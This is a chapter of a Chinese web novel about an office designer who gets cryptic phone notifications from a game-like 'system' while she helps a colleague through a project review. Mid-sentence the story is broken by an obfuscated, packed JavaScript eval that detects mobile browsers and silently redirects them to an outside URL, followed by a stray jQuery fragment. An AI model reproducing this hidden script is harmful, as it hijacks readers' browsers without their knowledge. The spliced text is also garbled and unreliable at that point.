林黎是在茶水间里再次碰见季忻州的。
不是刻意，但也谈不上巧合。同一层楼待久了，动线会慢慢变得规律，谁大概几点来接水、几点路过茶水间，身体比脑子更早记住。
她端着杯子站在咖啡机前，听着机器“咕噜咕噜”地响，水流断断续续。没有看时间，心里却在默默倒数。
三。
二。
一。
身后果然传来脚步声。
她没回头，只往旁边让了半步，把位置空出来，动作自然得像条件反射。
季忻州走进来，站在她右侧。视线在她身上停了一瞬，很短，却不是完全无意识。
随后挪开，落在咖啡机的操作面板上。
他抬手按下按键。
机器开始工作。
林黎在心里轻轻“哦”了一声。
原来只是站得近的话没有用。
她低头看了一眼手机，屏幕安静，没有提示。再抬头时，像忽然想到什么一样，把杯子往他那边挪了一点。
“这个按钮，”她语气平稳，“是不是要长按？”
季忻州转头看她。
那一眼停得比刚才略久一些。
“是。”他说，“两秒。”
她点点头，像是终于弄明白，“难怪我刚刚按了半天没反应。”
说完，她把杯子放上托架，重新按下按钮。
手机在掌心轻轻震动了一下。
幅度很小。
她没有立刻低头去看，只是把杯子抬稳，等水流停下，才顺手点亮屏幕。
最上方浮着一行字——
【协作变量记录】
停顿半秒。
第二行浮现——
【权重调整】
林黎的眉梢动了一下。
她没有露出别的情绪，只是把手机按灭，语气自然地说了一句：“谢谢。”
“嗯。”季忻州应了一声，视线落回咖啡机上，手指却在杯沿停了一瞬。
她端着咖啡往外走，走到门口才像忽然想起什么，回头补了一句：“对了，昨天不好意思，撞到你。”
语气轻松且自然。
男人顿了一下。
“没事。”
林黎点点头，转身离开。
手机在口袋里再次震了一下。
她走到走廊拐角才停下脚步，把屏幕点亮。
这一次的提示更简短。
【阶段记录补充】
【变量关联增强】
“……”
她低头看着屏幕，嘴角抽动了一下，又很快压住。
将手机锁屏，继续往工位走。
林黎回到工位，把咖啡放下，屏幕上内部项目的进度邮件弹出来。她点开，视线在段落之间滑动，脑子却还停在刚才茶水间的那几行提示上。
协作变量记录、权重调整。
什么也没有，却比直接发钱更让人坐立难安。
她端起杯子抿了一口，咖啡还有点烫，苦味顺着喉咙往下落。
办公室里打印机响了一声，有人拖着椅子滑过去，江奇在不远处叹气。所有声音都很正常，正常到仿佛那两行字只是她一瞬间的幻觉。
好像不是靠近，也不是触碰。
更不是她之前以为的字面意思。
但终究念头并没有立刻成型，只是在脑子里轻轻碰了一下触角。
她盯着电脑屏幕想了几秒。
要不要再试一下？
比如，刻意路过一次？
随便找个理由多说几句话。
这个念头刚冒出来，她自己先皱了皱眉。
‘有点傻。’她在心里给自己下了结论。
为了验证一个尚未公开的规则去制造场景，本身就已经偏离了她原本的节奏。
她一向不喜欢把时间花在不可控的变量上。
手机安静地躺在桌面。
她没有去碰，而是滑动触控板将邮件往下翻，开始在脑子里整理项目节点。
就在她刻意把思路往工作上拉的时候，手机忽然极轻地震了一下。
她低头。
屏幕上只有两行字——
【主动干预意图识别】
【变量稳定】
像只是在确认。
林黎盯着那两行字看了两秒，忽然有点想笑。
原来连“想试一下”，都算。
她把手机按灭，干脆把它扣在文件夹下面。
行。
偏就不试。
抓不住就放着。
她把椅子往前拉了拉，手指落回键盘，开始一页一页改稿。标题字距调顺，色块往里压两像素，辅助线重新拉直。熟悉的节奏很快接管了注意力，脑子里的那些想法被自动归档到角落。
节能模式启动。
直到十分钟后，旁边传来一声压抑的“嘶”。
“卡了？”她头也没抬。
江奇直接把鼠标往桌上一丢，表情像被PPT掐住了喉咙：“下午评审，我觉得我会死在第一页。”
林黎终于偏头看过去。
屏幕上是那种典型“做出来很漂亮，但讲起来很要命”的方案——逻辑线乱、信息密集，每一页都想当主角。
她盯了两秒，嘴角微动：“这不适合讲。”
江奇求救：“那怎么办？”
“别讲。”林黎说。
江奇：“……啊？”
“我的意思是，”林黎伸手把页面往下拖，“别按顺序讲，该跳就跳。”
“先给结论，后给证据。先让他们明白你要干嘛，再让他们看怎么干。”
“这个不要。”
“这两页——嗯，一个意思。”
“这个跳吧，挪到最后，当对比。”
“你确定？”江奇压低声音，“他们会不会因为跳得太快听不懂？”
“不会。”林黎说得理直气壮，“他们只会感谢你终于不折磨他们了。”
语气很真诚。
江奇将信将疑，盯着重排后的顺序看了两秒，眼睛慢慢亮起来：“……顺了。”
“当然顺。”林黎把鼠标松开，“这是设计，按照我们一开始的想法就好。”
但他也不能反驳什么，只能将信将疑地点点头，继续捋逻辑。
会议快要开始前十分钟，江奇抱着电脑站在桌边，脸上写满“我不想一个人经历这些”。
他犹豫了一下，侧头看正在划水摸鱼的林黎：“要不你跟我一起？关键那几页，我怕我嘴瓢。”
林黎停顿两秒。
也不是害怕，她在台后习惯了，突然上台有点不适应。
只能叹气：“行。我只补关键页，你别把我当救护车。”
“我当你是消防员。”对方真诚。
“更恐怖了。”她吐槽间把笔记本合上，“我讨厌爬楼梯。”
—
会议室的灯亮着，人比她预想中多。
桌面资料摆放整齐，水杯已经提前放好，显然不是走个流程就散的会。
林黎站在投影仪旁，视线扫过座位，很快看见了季忻州。
对方坐在前段偏中的位置，手边一沓打印稿，笔没扣盖。
似乎注意到什么，他抬眼看过来，视线在她身上停了一瞬，又很快移开。
林黎面上不动声色，心里“哦”了一声。
今天的观众可不太好糊弄。
没等几分钟，会议就开始了。
刚上台没多久，江奇就按照习惯开始铺背景。
前两页还算顺，第三页开始，他明显想把所有准备过的内容一次性倒出来。
节奏慢了下来，空气里浮起一点不耐。
林黎看了一眼屏幕，又扫了扫台下众人的表情。手指在翻页笔上停了一下，才轻轻按下。
画面直接往下跳了一页。
江奇说到一半卡了一下，很快反应过来，赶紧顺着往下讲。
有几个人明显松了口气。
讲到中后部分，节奏明显慢下来。
他又开始往细节里钻，语速倒是越来越快，自己都快被绕住了。
林黎在他换气的间隙，伸手把页面切回到上一页，选择直接切入。
“这块大家先记一个结论就行。”
她语速不快，声音清晰，“一页一页只看细节会有些繁琐，换个角度看会更清晰一些。”
她说完就停住，没有继续往下讲。
江奇愣了下，立刻顺着她的话接上：“对，这里我们主要看结果。”
节奏很快又重新被拉了回来。
真正的卡顿，出现在那一页的“死亡”对比图。
核心画面一亮出来，会议室里有人低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242856|197815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
低“啊”了一声。
台上拿着话筒的人明显卡壳了，嘴唇动了动，没把话接上。
空气安静了一秒。
林黎没有立刻补位。
她先看了一眼屏幕，确认图没问题。
然后才抬头，视线越过会议桌，落到季忻州面前。翻页笔在她的指尖轻轻转了一下，很快又停住。
季忻州几乎是同时抬眼，两个人的视线在空中短暂相接。
“这里看的不是过程叠加。”
季忻州开口，声音不高。
他手里的笔在打印稿上点了一下，对应着屏幕上的对比区域。
“是结果差异。”
几乎可以说是一锤定音。
江奇看过去的眼神都变了，赶紧接上：“对，我们要的就是省，不是继续白费力。”
会议室里有人点头，有人开始翻笔记。
节奏重新扣紧，气氛明显往“能成”的方向偏过去。
——
会议结束得比预期顺利。
大家散得很快，椅子拖动的声音在会议室里此起彼伏，气氛甚至有点轻松。江奇像刚跑完一段长坡，后背出了一层汗，低声对她说：“还好把你一起叫进来了。”
林黎笑了下，没有接话，只把翻页笔放回桌面，合上电脑。
“林黎。”
身后的声音有点熟悉。
她一回头，季忻州站在会议桌后，手里拿着那沓打印稿。
看向她的眼神比之前任何一次都要久。
“你刚才，”顿了一下，像是在找合适的措辞，“很会带节奏。”
林黎眨了下眼，差点笑出来。
只能努力维持一本正经：“还行吧，主要是我不想听念经折磨人。”
季忻州的唇角似乎动了一下，很快又压了回去。
点点头，“嗯。”
林黎见对方没有再开口的意思，简单告别就准备出会议室。
刚一转身，手机在口袋里又震了几下。
【阶段判定完成】
【协作成立】
【变量稳定度提升】
没有进度条。
也没有即时到账提示。
她脚步没停，还是没忍住把手机摸出来看了一眼，眉心却轻轻一跳。
协作？
她在心里重复了一遍这个词，有点疑惑。
规则好像，变了？
走廊灯光一盏一盏亮着，影子在地面上逐渐拉长。
林黎刚走出一段距离，手机又开始震动。
终于加载出的结算条停顿了两秒，屏幕又新的信息——
【检测到非预期变量】
【后续任务复杂度上调】
【阶段奖励已计入】
停顿。
【升级阶段不提供即时结算】
她下意识切到支付软件确认，余额依旧是原来的数字。反倒是提醒事项跳出来——
【明天19点：房租转账】
林黎的眉心轻轻皱了一下。
她站在灯影下盯着屏幕看了两秒，把提醒划掉，重新锁屏。
手机重新回到口袋里，她继续往前走，步子明显加快。
——
夜已经完全黑下来。
办公区的灯关了一大半，只剩零星几盏还亮着。
窗外写字楼的灯影交错，玻璃上映出模糊的反光。
季忻州坐在独立办公室里，桌上的台灯亮着，光线压得很低。
办公桌上还放着下午会议用过的那叠打印稿，边角整齐，却明显被翻阅过不止一遍。
他伸手把最上面那一页抽出来，平铺在桌面。
对比图落在视线中央。
季忻州的目光在那一页停了几秒，又移开，像是在确认一个已经得出的结论。
没一会，他把文件往旁边推了推，电脑被唤醒，很快调出下午那场会议的项目页面。
光标在屏幕上停顿了一顺，随后落在了某个并不显眼的栏目上。
他点进去，开始修改。
办公室里很安静，只有键盘声偶尔响起。
男人坐在电脑前，敲下一行字，又删掉。最后只留下简短的一句话。
发送。
屏幕亮着，他靠回椅背，目光重新落在桌面的图上。
眼中带着些许思索。